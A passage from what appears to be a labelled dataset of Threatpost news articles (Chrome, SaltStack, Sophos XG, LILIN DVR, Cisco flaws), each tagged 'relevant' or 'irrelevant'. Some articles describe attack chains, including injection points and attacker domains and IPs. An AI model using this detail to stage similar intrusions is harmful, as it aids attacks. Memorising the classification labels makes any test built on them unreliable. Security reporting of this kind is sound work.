compared to many taking upwards of six months to fix before that deadline was enacted in 2015, he said. Google’s intention is to standardize its procedures, but one researcher told Threatpost that vulnerability disclosure timeline policies should be flexible enough to take into account the specific risk of certain vulnerabilities to customers. “Sometimes we focus too much on the vendor rather than the customer; responsible disclosure should prioritize notifying customers of a vulnerability with the intention of reducing the risks, by either making the vulnerability public so they are aware that a risk exists (applying hardening to reduce the risks); or by [supplying] a vendor patch,” Joseph Carson, chief security scientist at Thycotic, told Threatpost. “Difficulty in patching systems should also be taken into consideration, as even with public vulnerability disclosures, most systems remain unpatched for much longer — even years. Responsible disclosure is too broad today and needs to really put the customer first.”",irrelevant
"Google Squashes High-Severity Flaws in Chrome Browser Google is rolling out the newest Chrome browser version, 80.0.3987.162, in the coming days. On Thursday, Google released security patches to stomp out high-severity vulnerabilities in its Chrome browser. Patches for all the bugs Google disclosed in its security advisory roll out over the next few days. Overall, eight security bugs were addressed in Chrome browser version 80.0.3987.162 for Windows, Mac, and Linux. The most severe of these flaws could allow for arbitrary code execution, according to the Center for Internet Security (CIS). “Successful exploitation of the most severe of these vulnerabilities could allow an attacker to execute arbitrary code in the context of the browser,” according to CIS in a Wednesday alert. “Depending on the privileges associated with the application, an attacker could view, change, or delete data. If this application has been configured to have fewer user rights on the system, exploitation of the most severe of these vulnerabilities could have less impact than if it was configured with administrative rights.” As is typical for Chrome updates, Google is initially scant in details of the bugs “until a majority of users are updated with a fix.” It did outline three of the vulnerabilities that were discovered by external researchers, however. These included two high-severity vulnerabilities the WebAudio component of Chrome (CVE-2020-6450 and CVE-2020-6451). The WebAudio component is used for processing and synthesizing audio in web applications. The flaws tied to CVE-2020-6450 and CVE-2020-6451 are both use-after-free flaws. Use after free is a memory corruption flaw where an attempt is made to access memory after it has been freed. This can cause an array of malicious impacts, from causing a program to crash, to potentially leading to execution of arbitrary code. According to vulnerability database Vuldb, the flaw tied to CVE-2020-6450 could be exploited remotely and no form of authentication is required for exploitation. Both flaws were reported by Man Yue Mo of GitHub Security Lab on March 17. Another vulnerability was discovered in the Media component of Chrome, which displays video and audio in browsers. The vulnerability (CVE-2020-6452) is a heap-based buffer overflow. A buffer overflow attack exists when a buffer (a region in physical memory storage used to temporarily store data) is allocated in the heap portion of memory (a region of process’s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. This flaw was reported by a researcher under the alias “asnine” on March 9. The CIS alert recommended that Chrome users “apply the stable channel update provided by Google to vulnerable systems immediately after appropriate testing.” Chrome has plagued by vulnerabilities over the past few months. Google in February 2020 said it patched a Chrome web browser zero-day bug being actively exploited in the wild. The flaw affected versions of Chrome running on the Windows, macOS and Linux platforms.",relevant
"Google Yanks 106 ‘Malicious’ Chrome Extensions Trojan Chrome browser extensions spied on users and maintained a foothold on the networks of financial services, oil and gas, media and entertainment, healthcare and pharmaceuticals and government organizations. Google removed 106 Chrome browser extensions Thursday from its Chrome Web Store in response to a report that they were being used to siphon sensitive user data. In the research, also published Thursday, Awake Security alleged millions of Chrome users have been targeted by threat actors. The attackers used the Google Chrome browser extensions to not only steal data, but also to create persistent footholds on corporate networks. “When we are alerted of extensions in the Web Store that violate our policies, we take action and use those incidents as training material to improve our automated and manual analyses,” said Scott Westover, a Google spokesperson, in a statement. The browser extensions were free and designed to either alert users to questionable websites or to convert files. In total, Awake Security estimates the extensions were downloaded 32 million times. While Google has long policed its Chrome Web Store for rogue browser extensions, what is unique about this malicious effort was that it was allegedly part of a coordinated and “massive global surveillance campaign.” Researchers also assert that the campaign was aided by the internet domain registrar CommuniGal Communication Ltd. (GalComm). Galcomm owner Moshe Fogel told the news agency Reuters that his company was unaware of the malicious activity and had done nothing wrong. “Galcomm is not involved, and not in complicity with any malicious activity whatsoever,” Fogel told Reuters. “You can say exactly the opposite, we cooperate with law enforcement and security bodies to prevent as much as we can.” GalComm, researchers alleged, enabled malicious activity by those behind the browser extensions by allowing them to cloak their activities. Researchers said that the domain registrar allowed criminals to bypass “multiple layers of security controls, even in sophisticated organizations with significant investments in cybersecurity.” “In the past three months alone, we have harvested 111 malicious or fake Chrome extensions using GalComm domains for attacker command and control infrastructure and/or as loader pages for the extensions,” researchers wrote. “These extensions can take screenshots, read the clipboard, harvest credential tokens stored in cookies or parameters, grab user keystrokes (like passwords), etc.” Gary Golomb, co-founder and chief scientist of Awake Security, wrote in a technical breakdown of the threat, “Of the 26,079 reachable domains registered through GalComm, 15,160 domains, or almost 60 percent, are malicious or suspicious: hosting a variety of traditional malware and browser-based surveillance tools. Through a variety of evasion techniques, these domains have avoided being labeled as malicious by most security solutions and have thus allowed this campaign to go unnoticed.” Over 100 networks were abused, giving threat actors a foothold on financial service firms, oil and gas companies, healthcare and pharmaceutical industries and government organizations. Golomb said browser extensions are the “new malware,” explaining that critical business applications like Microsoft 365, Google services, Salesforce and Zoom are browser dependent. “Passively targeting these applications with malicious browser extensions is akin to the new attacker rootkit,” he wrote. In February, Duo Security uncovered a similar campaign. It found that 500 Google Chrome browser extensions were discovered secretly uploading private browsing data to attacker-controlled servers, and redirecting victims to malware-laced websites. The browser extensions were downloaded millions of times from Google’s Chrome Web Store.",irrelevant
"Government VPN Servers Targeted in Zero-Day Attack The attacks are being carried out against Chinese government interests worldwide, according to Qihoo 360. As the Chinese government turns to virtual private networks (VPNs) to provide access to official resources for those working remotely amid the COVID-19 pandemic, the DarkHotel APT has seized the opportunity to target those VPNs in a zero-day attack, researchers said. According to security analysts from Chinese firm Qihoo 360, attacks began in March on a Chinese VPN provider called SangFor, used by a number of Chinese governmental agencies. At least 200 VPN servers connecting to multiple endpoints were compromised as of the first week of April, they added. The researchers said that the victims include Chinese agencies in Afghanistan, Armenia, Ethiopia, India, Indonesia, Iran, Israel, Italy, Kyrgyzstan, Malaysia, North Korea, Pakistan, Saudi Arabia, Tajikistan, Thailand, Turkey, UAE, United Kingdom and Vietnam; and, domestic government institutions in Beijing and Shanghai. “Once VPNs are controlled by threat actors, the internal assets of many enterprises and institutions will be exposed to the public network, and the loss will be immeasurable,” Qihoo 360 researchers wrote in a posting on Monday. The attack was carried out using a zero-day exploit, the firm found, adding that the campaign is complex and required a good deal of skill to execute. “The vulnerability exists in an update that is triggered automatically when the VPN client starts to connect to the server,” according to the firm, which reported the bug to SangFor. “The client will obtain [an] update from the configuration file at a fixed location on the connected VPN server, and download a program called SangforUD.exe.” The client unfortunately doesn’t make any security checks before downloading the executable. As a result, the researchers said, attackers can hijack the session, alter the update configuration file and replace the update program with their own malicious code. “When users of the victim agencies used VPN clients, the update process triggered by default was hijacked by the hackers,” the researchers explained. “The update program was replaced and embedded with a backdoor…The attacker imitated the signature of legitimate program to disguise the backdoor and it is hard for a common user to distinguish.” The vulnerability was found in a server version that SangFor released in 2014. The vendor issued a patch for the bug on Monday, and any admins running the software are encouraged to update their server software versions. A Sophisticated Attack Once the backdoor program executes as part of what the client believes is a normal update process, it sets up communication with a remote command-and-control (C2) server. It then downloads shellcode for execution. The shellcode does a few things, starting with fingerprinting the infected machine. It collects the terminal’s IP/MAC/system version/process and other software and hardware information and sends it along to the C2. Next, it installs various malicious libraries (DLL components) to set up persistence and load the core backdoor component, which is named thinmon.dll. “Thinmon.dll will decrypt another encrypted file, ‘sangfor_tmp_1.dat,’ issued by the cloud, and start the .dat file in one of the three ways: Loading, thread-starting or injecting process,” the researchers explained. The .dat file in turn offers attackers complete access to the infected endpoint. “When VPN users log in successfully, their devices will be fully trusted,” they wrote. “Therefore, it can be said that the attacker a large number of endpoint devices have been under the control of the attackers.” They added, “The attacker sophisticatedly designed the backdoor control method and executed the code by completely issuing shellcode from the cloud,” the researchers said. “The entire attack process is very complicated and concealed.” Potential Attribution: DarkHotel Qihoo 360 researchers have attributed the attack to DarkHotel, an APT associated with carrying out prior cyberespionage efforts in China, North Korea, Japan and the United States. DarkHotel was first identified in 2014 by Kaspersky researchers, who said at the time that the group had been active since at least 2007. The APT first became known for targeting diplomats and corporate executives via Wi-Fi networks at luxury hotels – but it has widened its targeting over the years, while continuing to leverage zero-day vulnerabilities and exploits. Earlier in 2020, DarkHotel was seen using Office documents for targeted attacks using a zero-day in Internet Explorer, and was fingered as the culprit behind a March attack on the World Health Organization (WHO). In that effort, the APT may have been looking for information on tests, vaccines or trial cures, according to researchers. “This time, DarkHotel attacked many Chinese overseas agencies by breaking through VPN services,” according to Qihoo 360, which said that it arrived at its attribution conclusion via reverse engineering and code analysis. “Is it intended to spy upon China’s medical technology and virus-control measures during the epidemic? Is it also possible that, by attacking Chinese overseas agencies, the group real purpose is to grasp the supply transport routes, quantity and equipment of the quarantine materials that China sends to other countries around the world? What’s more, is it aiming at further probing into the medical data of the epidemic in more countries? At this special time, is Darkhotel intended to obtain the national epidemic data and economic recovery strategy of China?” This speculation – and lack of attribution indicators in the post – caught the attention of at least one observer. Kaspersky researcher Brian Bartholomew tweeted that “in the future, there needs to be more supporting data to support claims.” Qihoo 360 did not immediately respond to a request for comment.",irrelevant
"Hackers Exploit Critical Flaw in Ghost Platform with Cryptojacking Attack Hackers targeted Ghost on Sunday, in a cryptocurrency mining attack that caused widespread outages. Hackers targeted the publishing platform Ghost over the weekend, launching a cryptojacking attack against its servers that led to widespread outages. The attack stemmed from the exploit of critical vulnerabilities in SaltStack, used in Ghost’s server management infrastructure. Ghost is a free, open-source blogging platform with an install base of over 2 million, including big-name customers like Mozilla and DuckDuckGo. The company, which touts itself as an alternative to platforms like WordPress, Medium and Tumblr, first posted on Sunday at 3:24 BST that customers were experiencing service outages. It has since fixed the issue and systems are up and running again, as of Monday. Upon further investigation, Ghost said that the hack stemmed from attackers exploiting two flaws, CVE-2020-11651 and CVE-2020-11652, which allow full remote code execution as root on servers in data centers and cloud environments. The two flaws specifically exist in SaltStack’s open-source Salt management framework, used by customers like Ghost as an open-source configuration tool to monitor and update the state of their servers. “All traces of the crypto-mining virus were successfully eliminated yesterday, all systems remain stable, and we have not discovered any further concerns or issues on our network,” according to Ghost’s announcement on its status update page. “The team is now working hard on remediation to clean and rebuild our entire network. We will keep this incident open and continue to share updates until it is fully resolved. We will also be contacting all customers directly to notify them of the incident, and publishing a public post-mortem later this week.” CVE-2020-11651 is an authentication bypass issue, while CVE-2020-11652 is a directory-traversal flaw where untrusted input (i.e. parameters in network requests) is not sanitized correctly. This in turn allows access to the entire filesystem of the master server, researchers found. SaltStack has released patches for the flaw in release 3000.2, on April 30 – however, researchers with F-Secure, who discovered the flaw, said a preliminary scan revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet. As such, researchers warned that they expect in-the-wild attacks to be launched against the flaws imminently. It appears that some of those vulnerable Salt instances belonged to Ghost. After exploiting the flaws, attackers were able launch a cryptocurrency mining attack, which in turn spiked CPU usage and overloaded systems. Both Ghost Pro sites and Ghost.org billing services were affected – though Ghost said that credit card data was not affected. Ghost said that a fix has been implemented and that additional firewall configurations are now running. “At this time there is no evidence of any attempts to access any of our systems or data,” according to Ghost. “Nevertheless, all sessions, passwords and keys are being cycled and all servers are being re-provisioned.” Alex Peay, senior vice president of Product at SaltStack, told Threatpost that “upon notification of the CVE, SaltStack took immediate action to remediate the vulnerability, develop and issue patches, and communicate to our customers about the affected versions so they can prepare their systems for update.” “We must reinforce how critical it is that all Salt users patch their systems and follow the guidance we have provided outlining steps for remediation and best practices for Salt environment security,” Peay said. “It is equally important to upgrade to latest versions of the platform and register with support for future awareness of any possible issues and remediations.” Threatpost has reached out to Ghost for further comment.",relevant
"Hackers Actively Exploit 0-Day in CCTV Camera Hardware Criminals behind botnets Chalubo, FBot and Moobot attack unpatched vulnerabilities in the commercial DVRs made by LILIN. Multiple zero-day vulnerabilities were actively being exploited in CCTV security cameras manufactured by Taiwan-based LILIN, researchers found. The company, an IP video solution provider, was being targeted by hackers hijacking the company’s DVR hardware. Once commandeered, hackers then planted malware on devices to run botnets Chalubo, FBot and Moobot. Researchers said the attacks began August 30. The company was notified on January 19 of the bugs. And on February 14 the vulnerabilities were patched. Public disclosure was on Friday by Qihoo 360’s NetLab team. Firmware is available that fixes the bugs found in 11 LILIN DVR and IP cameras. According to a technical description of the attacks by NetLab, the flaw is broken down into three parts. Researchers describe it as, “Hard-coded login credentials, /z/zbin/dvr_box command-injection vulnerabilities and /z/zbin/net_html.cgi arbitrary file-reading vulnerabilities.” The added, “/z/zbin/dvr_box provides web services, and its web interface /dvr/cmd and /cn/cmd have a command-injection vulnerability. The injected parameters have been: NTPUpdate, FTP and NTP.” As for the botnets, instances of Chalubo bots were first spotted August. The malware is known for targeting poorly secured internet-of-things (IoT) devices. Fbot meanwhile is a Satori-related botnet known for using blockchain DNS systems for propagation. The Moobot is a new botnet family based on Mirai botnet, according to NetLab. Researchers did not offer details in terms of what was being targeted by the botnets, only that the LILIN DVR and IP cameras were tied to unspecified DDoS campaigns. Patch Deployment Needed Because the firmware patch must be deployed by equipment owners, and can’t be pushed out by the vendor, it’s unclear when the majority of affected hardware will be updated. For years, the security community has warned that IoT poses a growing security risk chiefly because many devices are still in use that cannot be easily updated to fix security bugs. As for the LILIN DVR vulnerability specifics, one is tied to the DRV’s NTPDate computer program. NTPDate is a program used for synchronizing a computers’ date and time by querying a Network Time Protocol (NTP) server. According to researchers the LILIN software doesn’t filter special characters out of one of the ValidateHostName fields and opens the door for an attacker to launch a command injection attack. Similar injection vulnerabilities exist within the software’s FTP settings that eventually allow remote access to the “/dvr/cmd” interface through hard-coded account passwords. CMD (or cmd.exe) is known as the command prompt or the command-line interpreter, which gives a user carte blanche do almost anything to the underlying software. “Device configuration /zconf/service.xml, can be obtained through hard-coded login account password and /z/zbin/net_html.cgi arbitrary file reading,” researcher wrote. “By modifying the aerver field of the FTP or NTP parameters in the /zconf/service.xml, backdoor commanda can be injected.” The company said a newly patched version (2.0b60_20200207) fixes the vulnerability.",relevant
"Hackers Mount Zero-Day Attacks on Sophos Firewalls A pre-auth SQL injection bug leading to remote code execution is at the heart of a data-stealing campaign against XG firewalls, using the Asnarok trojan. Attackers have been targeting the Sophos XG Firewall (both physical and virtual versions) using a zero-day exploit, according to the security firm – with the ultimate goal of dropping the Asnarok malware on vulnerable appliances. Sophos said in a posting updated on Monday that the bug in question is a pre-authentication SQL injection vulnerability (a CVE is forthcoming) that leads to remote code execution (RCE). It affects systems configured with either the administration interface (called the “HTTPS admin service”) or the user portal exposed to the WAN zone. “In addition, firewalls manually configured to expose a firewall service (e.g. SSL VPN) to the WAN zone that shares the same port as the admin or user portal were also affected,” the firm explained. “For reference, the default configuration of XG Firewall is that all services operate on unique ports.” If hackers were able to access an exposed XG device, the Asnarok trojan was then installed, which is designed to exfiltrate data housed on the XG firewall itself. Sophos said that the sample is an ELF binary executable malware that has been specifically compiled for a firewall operating system. “The data exfiltrated for any impacted firewall includes all local usernames and hashed passwords of any local user accounts,” Sophos noted. “For example, this includes local device admins, user portal accounts and accounts used for remote access. Passwords associated with external authentication systems such as Active Directory (AD) or LDAP were not compromised.” Sophos issued a hotfix this week for the issue. Initial Compromise: A Chain of Linux Scripts The attack consists of a chain of Linux shell scripts, the firm said, hosted on an innocuous-sounding yet malicious domain, sophosfirewallupdate[.]com. “There was significant orchestration involved in the execution of the attack,” according to Sophos. The kill chain begins with the SQL injection exploit, which allows the attackers to insert a one-line command into a database table on a targeted device, according to a Sunday technical analysis from Sophos. That injected command triggers a download of the first Linux shell script, named Install.sh, from the remote server. This shell is written to the appliance as “x.sh” and is also placed in the /tmp directory. This turns out to be an installer script that goes on to drop two completely new shell scripts, and it also modifies an existing operating-system script in a bid for persistence. The first of the new shell scripts is named .lp.sh installed by x.sh connects to the sophosfirewallupdate site, to download a Linux ELF executable file, named lp. Ip is also written to /tmp with a filename of b. sophos firewall attack asnarok The firewall attack kill chain. Click to enlarge. “The b program, when run, deletes itself from the filesystem of the device, so it is only present in memory,” Sophos explained. “Then, it repeats a series of tasks every three to six hours.” The first of these tasks is to connect to the IP address 43.229.55.44. If that fails, it tries the malicious domain sophosproductupdate[.]com. If successful, then downloads another Linux ELF executable called Sophos.dat. The second of the dropped shell scripts is written to the /tmp directory with a filename of .pg.sh. It goes on to download a second, different ELF executable, called bk on the webserver and written to the filesystem with the name .post_MI. The initial Install.sh script also runs a number of Postgres SQL commands to modify or zero out the values of certain tables in the database, Sophos noted. One of these commands modifies a specific service value entry so that .post_MI executes whenever that service executed. “The Install.sh script…modified at least one shell script that is part of the firewall’s operating system to add a set of commands to the end of the script,” according to the writeup. “This last script, in particular, is relevant because the malware modified services to ensure it ran every time the firewall booted up; it served as a roundabout persistence mechanism for the malware.” Asnarok Trojan: Stealing XG Firewall Data The file called Sophos.dat, saved to the filesystem as 2own, is actually the ultimate payload in the kill chain – the Asnarok trojan, first detailed in the Sophos analysis this weekend. “This malware’s primary task appeared to be data theft, which it could perform by retrieving the contents of various database tables stored in the firewall, as well as by running some operating system commands,” according to Sophos research. Asnarok first retrieves the public-facing IP address where the firewall was installed, using public search engines like “ifconfig.me” and “checkip.dyndns.org.” Next, it retrieves information about the firewall and its users from different storage areas on the firewall. Sophos said that this data includes: The firewall’s license and serial number; a list of the email addresses of user accounts that were stored on the device; the primary email belonging to the firewall’s administrator account; firewall users’ names, usernames, encrypted passwords and the salted SHA256 hash of the administrator account’s password; a list of the user IDs permitted to use the firewall for SSL VPN; and a list of accounts permitted to use a “clientless” VPN connection. The malware also gathered data on the appliance itself: The version of the operating system; the type of CPU and amount of memory present on the device; how long it has been operational since the last reboot (the ‘uptime’); and the output of the “ifconfig” and “ARP” tables, Sophos said. The data is collected into a temporary file on the firewall with the name Info.xg, compressed, encrypted with OpenSSL and then earmarked for upload to the IP address 38.27.99.69. In a final step, Asnarok deletes the files that it temporarily created while it collected the information. The firm said that it hasn’t seen evidence that the collected data was successfully exfiltrated from victimized systems. Threatpost has reached out for more information on the number of targeted systems and any other information about the scope of the attack. Users that don’t have automatic updates enabled on their firewalls can enable them in order to receive the hotfix. Sophos meanwhile said that it has blocked the domains and IP addresses associated with the campaign.",relevant
"Have I Been Pwned No Longer For Sale Troy Hunt said the popular HIBP will continue to be run as an independent service. After announcing last year that he was looking to sell Have I Been Pwned (HIPB), Troy Hunt said this week that the popular service has been pulled off the market and will instead continue to be run independently. HIBP offers a free service for consumers to check if their usernames and passwords have been compromised in a data breach. Since it was founded seven years ago, the platform has skyrocketed to offer commercial services for companies (including its Pwned Passwords tool and more) and to include more large-scale breaches (including the massive 2019 Collection #1 data dump, totaling 773 million unique addresses and 87GB in size). These increased capabilities are part of the reason why Hunt said in June 2019 he was listing the service for sale – In a posting at the time, he said the sheer amount of breached data that needed to be loaded into database has increased beyond the capability of one person. However after a strenuous M&A process resulting in an “infeasible” deal with an exclusive bidder, Hunt said that he will instead continue to run the service independently. “After 11 months of a very intensive process, culminating in many months of exclusivity with a party I believed would ultimately be the purchaser of the service, unexpected changes to their business model made the deal infeasible,” Hunt said in a Monday post. “It wasn’t something I could have seen coming nor was it anything to do with HIBP itself, but it introduced a range of new and insurmountable barriers.” The M&A Process HIBP has seen widespread success over the past seven years, including adoption by organizations and governments, and a partnership with Mozilla and Cloudflare in 2019 that led to an integration between HIBP and Firefox. So it’s no surprise that companies were lining up at the door in hopes of acquiring the service. Overall the firm had over 141 potential acquirers globally, in fact. Nicknaming the acquisition project “Project Svalbard” (after the Arctic island location of the world’s most enormous seed bank) Hunt worked with consultancy KPMG to identify potential buyers and eventually narrowed the number down to 43 candidates who “best aligned to the goals” outlined for HIBP. Hunt wanted buyers that had “right level of responsibility” over the type of data HIBP deals with, and that would push the service in the direction Hunt wanted it to go. Hunt would remain at the helm of HIBP, so he was also looking for acquirers that he could see himself working for. Eventually, an unnamed company was chosen as an exclusive bidder, but Hunt cited issues that recently led to the bidder and HIBP parting ways. These issues were undisclosed (due to legal and privacy reasons) but they were unrelated to the HIBP acquisition itself, and rather stemmed from a change in business model of the bidding company. “Keeping in mind my previous point regarding confidentiality and choosing my words carefully, the circumstances that took the bidder out of the running was firstly, entirely unforeseen by the KPMG folks and myself and secondly, in no way related to the HIBP acquisition,” said Hunt. “It was a change in business model that not only made the deal infeasible from their perspective, but also from mine; some of the most important criteria for the possible suitor were simply no longer there. Collectively, we agreed to put pens down.” Future of HIBP Hunt has now abandoned plans to sell HIBP after realizing the various drawbacks that an acquisition might come with. For instance, many bidding companies wanted Hunt locked in for years “and if I changed my mind part way through, I’d pay for it big time,” he said. “That weighed more and more heavily on me as things progressed.” Hunt also worried that many companies he talked to didn’t align with his vision for HIBP: “I … didn’t want a situation where I compromised my own principles; the organization we’d identified as the best possible fit was precisely that – the best possible fit – and all other candidates would mean making concessions I simply couldn’t justify,” he said. For now, HIBP will operate as usual, and Hunt has recently on-boarded five new governments onto the service (Austria, Ireland, Norway, Switzerland and Denmark), as well as loaded 77 new data breaches (comprising of 1.7 billion records). But moving forward, Hunt said he will look for more support in delegating the workload associated with the service. Hunt said he also wants to look for new ways to address how the industry as a whole can better tackle the flood of data breaches it continues to deal with; and to leverage more formal relationships that HIBP has established with governments, regulators and law enforcement. “It’s an interesting time right now where there’s clearly a lot of support for HIBP and the way it operates, but also a lot of focus on privacy and people having control of their own data which poses some interesting challenges,” he said.",irrelevant
"Helping Remote Workers Overcome Remote Attacks Because remote workers’ devices are all connected to a home network, they don’t even need to be attacked directly. Instead, attackers have multiple avenues of attack that can be exploited. Cybercriminals are experts at making the most of whatever they’re given. The current pandemic is no different, and they have been quick to profit from their victims’ fears. Adaptability has always been the hallmark of malicious actors, and the proliferation of “remote-everything” attacks is a prime example of the nimbleness of the cybercrime ecosystem. To survive, organizations must be able to match and exceed that agility. How are bad actors manifesting their natural agility in the current environment? FortiGuard Labs has seen a substantial increase in viruses over the last quarter. During the first quarter of 2020, for example, we documented a 17 percent increase in viruses in January, a 52 percent increase in February, and an alarming 131 percent increase in March when compared to the same months in 2019. Many of these are included in a related spike in malicious phishing attachments, of which we have documented an average of about 600 new attacks every day. Interestingly, there has been a corresponding drop in more traditional attack methods. For example, during the first quarter, there was a reduction of botnets per month, by 66 percent, 65 percent and 44 percent, compared to the same time period in 2019. Likewise, IPS-based triggers also dropped by 71 percent in January and 58 percent in March compared to 2019, with a slight uptick in February. This suggests that cybercriminals are adjusting their attack strategies in order to take advantage of the current crisis. What Are Cybercriminals Doing? Though they begin with phishing, these attacks have a goal of either stealing the end user’s personal information, or even targeting businesses through their new teleworkers. That’s why the majority of these phishing attacks contain malicious payloads – including ransomware, viruses and remote access trojans (RATs) designed to provide criminals with remote access to endpoint systems, and even Remote Desktop Protocol (RDP) exploits. There has been a tremendous increase in the latter, which few corporate IT entities generally allow. The fact that RDP attacks are on the rise, then, means that hackers are likely looking for hastily erected IT infrastructures intended to enable remote work, which may include the use of remote-desktop access tools without deploying equivalent web application firewalls or endpoint detection and response (EDR) solutions. The security situation is hampered further by the fact that, due to the pace at which this transition to telework took place, not all organizations were able to procure enough laptops for every employee who now needs to work remotely. As a result, many teleworkers are using their personal devices to connect into the corporate network. And those devices – which are also being used for things like social media, shopping and streaming entertainment – are generally far less protected by desktop security and endpoint-protection solutions than corporate devices, which means that they are far more vulnerable to the malware being pushed by these new phishing attacks. Because these devices are all connected to the home network, they don’t even need to be attacked directly. Instead, attackers have multiple avenues of attack that can be exploited. This includes other computers, tablets, gaming and entertainment systems, and even online internet of things (IoT) devices such as digital cameras, smart appliances and smart home tools – like doorbells, alarm systems, climate-control devices and smart lighting. The ultimate goal is finding a way back into a corporate or school network and its valuable digital resources. What Can We Do? To remain viable long-term, organizations must remain secure. Here are three essential steps in the battle to keep remote workers – and your network – safe. Training and continuous education: With the sudden surge in remote work, cybersecurity education is more important than ever. Train your remote workers – and their families – about things like phishing and malicious websites and how to stop them. Give them a basic understanding of today’s threat landscape, including common tricks and strategies used by cybercriminals; a familiarity with essential cybersecurity concepts; and an introduction to critical security principles and technologies. This will help employees understand the threats they may face, especially now that so many more people may be accessing the internet from the same home network. Encourage the concept of cyber-distancing by staying wary of suspicious requests, unknown attempts and contact, and unsolicited information. And this isn’t just a point-in-time type of requirement; regular training centered on cybersecurity hygiene should be a part of standard operations. Endpoint protection: Adding an EDR solution to end-user devices can go a long way toward protecting your network. A good EDR solution provides both pre-infection and post-infection defenses to keep endpoints – and your network – free from malicious malware. It does this by providing antivirus capabilities (often tied to the kernel) on the front end, combined with the ability to stop advanced attacks in real time, even if the endpoint has been compromised, by detecting, defusing and remediating live incidents. Using AI and automation: Automation and artificial intelligence offer a way to supplement human cybersecurity teams and staffs that are already crunched for time. With an advanced AI-based solution in place, files and URLs can be rapidly analyzed and labeled as clean or malicious – which helps security teams then quickly determine where they need to put their focus. Automating time-consuming manual investigations allows teams to identify and classify threats in real-time so they can then be remedied quickly – ideally before they cause extensive damage. What’s more, while traditional cybersecurity threats continue to advance, cybercriminals are also looking to develop and launch more sophisticated, AI-based attacks. To keep pace, organizations need to fight fire with fire. Fear Not Cybercriminals are making the most of this pandemic, ratcheting up the volume and variety of attacks to prey on the fearful and inexperienced during uncertain times. But organizations aren’t helpless. By practicing ongoing good cyber-hygiene, keeping abreast of the latest threat intelligence, and by implementing the above recommendations, you can emerge stronger and more agile than ever before.",irrelevant
"High-Severity Cisco DoS Flaw Plagues Small-Business Switches  The flaw (CVE-2020-3363), which has a CVSS score of 8.6 out of 10, is due to insufficient validation of incoming IPv6 traffic. “An attacker could exploit this vulnerability by sending a crafted IPv6 packet through an affected device,” said Cisco in its Wednesday advisory. “A successful exploit could allow the attacker to cause an unexpected reboot of the switch, leading to a DoS condition.” Cisco switches affected by this flaw include: 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches, 550X Series Stackable Managed Switches. These switch lineups range in functionality and price, but all were released between 2015 and 2016, and all are web-managed, entry-level devices intended for small businesses. Updates are available for these products in Release 2.5.5.4.7. Also affected by the flaw are three series of switches that have reached the end-of-software-maintenance milestone, meaning they will not receive patches. Those are: Small Business 200 Series Smart Switches, Small Business 300 Series Managed Switches and Small Business 500 Series Stackable Managed Switches. It’s not the first time that end of life (EoL) has stopped Cisco from issuing patches for these specific switches when they were vulnerable. In July, Cisco warned that it wasn’t issuing firmware updates in the three switches to address a high-severity flaw that could allow remote, unauthenticated attackers to access the switches’ management interfaces with administrative privileges. The Cisco Product Security Incident Response Team (PSIRT) said it is not aware of any public announcements or malicious use of the vulnerability. This flaw specifically affects IPv6 traffic – IPv4 traffic (the IP that IPv6 replaced) is not affected, said Cisco. “Cisco has released software updates that address this vulnerability for devices that have not reached the end of software maintenance,” Cisco said. “There are no workarounds that address this vulnerability.” Beyond this flaw, Cisco fixed three other high-severity vulnerabilities, with a slew of Thursday security advisories. One of those is a similar vulnerability in the IPv6 implementation of Cisco StarOS. Cisco StarOS is a virtualized software architecture that spans the ASR (Aggregation Services Routers) 5000 Series. This flaw (CVE-2020-3324) also stems from insufficient validation of incoming IPv6 traffic and could enable an unauthenticated, remote attacker to launch a DoS attack on affected devices. Another high-severity flaw (CVE-2020-3411) in Cisco’s DNA Center software could allow an unauthenticated remote attacker access to sensitive information on impacted systems. The Cisco DNA Center is a network controller and management dashboard, with integrated tools for network management, automation, virtualization, analytics, security and internet of things (IoT) connectivity. A final flaw (CVE-2020-3433) plugged by Cisco on Wednesday exists in the AnyConnect Secure Mobility Client for Windows, Cisco’s unified security endpoint agent that delivers security services to protect the enterprise. The flaw exists in the interprocess communication (IPC) channel and could allow an authenticated, local attacker to perform an attack called DLL hijacking, where attackers exploit Windows applications search and load Dynamic Link Libraries.",relevant
"High-Severity Cisco Webex Flaws Fixed The high-severity flaws, existing in Webex Player and Webex Network Recording Player, can allow arbitrary code execution. Cisco Systems has patched two high-severity vulnerabilities in its popular Webex video conferencing platform, which if exploited could allow an attacker to execute code on affected systems. Two multimedia players tied to the Webex platform are impacted. First is the Cisco Webex Network Recording Player, used to play back Advanced Recording Format (ARF) files on the Windows operating system. ARF files contain data from a recorded online meeting, such as video data and a list of attendees. Cisco Webex Player is also affected, which used to play back Webex Recording Format (WRF) files on the Windows OS. WRF files contain audio and video recordings, typically used for demonstrations, training and conferencing. The vulnerabilities (CVE-2020-3127 and CVE-2020-3128) are both 7.8 out of 10.0 on the CVSS scale, making them high-severity. They stem from an insufficient validation of non-detailed, “certain elements” within a Webex recording that is stored in either ARF or WRF, said Cisco. While Cisco did not detail the technicalities of the vulnerabilities, it said that “an attacker could exploit these vulnerabilities by sending a malicious ARF or WRF file to a user through a link or email attachment and persuading the user to open the file on the local system,” according to Cisco in a Wednesday advisory. “A successful exploit could allow the attacker to execute arbitrary code on the affected system with the privileges of the targeted user.” Brian Gorenc, director of vulnerability research and head of Trend Micro’s ZDI program, told Threatpost that the flaw allows remote attackers to execute arbitrary code – but it does require user interaction. “User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file,” he told Threatpost via email. “Specifically, this bug exists is in atpdmod.dll module and the vulnerable code is reachable using a crafted ARF File. This program fails to initialize a pointer and later writes data to this pointer. In the worst case, this could lead to remote code execution in the context of the current process.” Different versions of Webex Network Recording Player and Webex Player are affected by the flaws, based on the platforms they are being managed on. The players are available from Cisco Webex Meetings and Cisco Webex Meetings Online (which is when conferencing systems are managed by Cisco Webex), and Cisco Webex Meetings Server (where customers host and manage conferencing solutions in their own private clouds). For Cisco Webex Meetings, affected versions for both products include releases earlier than WBS 39.5.17 or WBS 39.11.0. For Webex Meetings Online, affected versions for both products include releases earlier than 1.3.49. And, for Cisco Webex Meetings Server, versions of Webex Network Recording Player earlier 3.0MR3SecurityPatch1 and 4.0MR2SecurityPatch2 are affected. To determine which release of Cisco Webex Network Recording Player or Cisco Webex Player is installed on a system, users can open the player and choose Help > About. The fixed releases can be found below. Webex Flaw Cisco Patch Cisco said it’s not aware of the flaws being exploited by 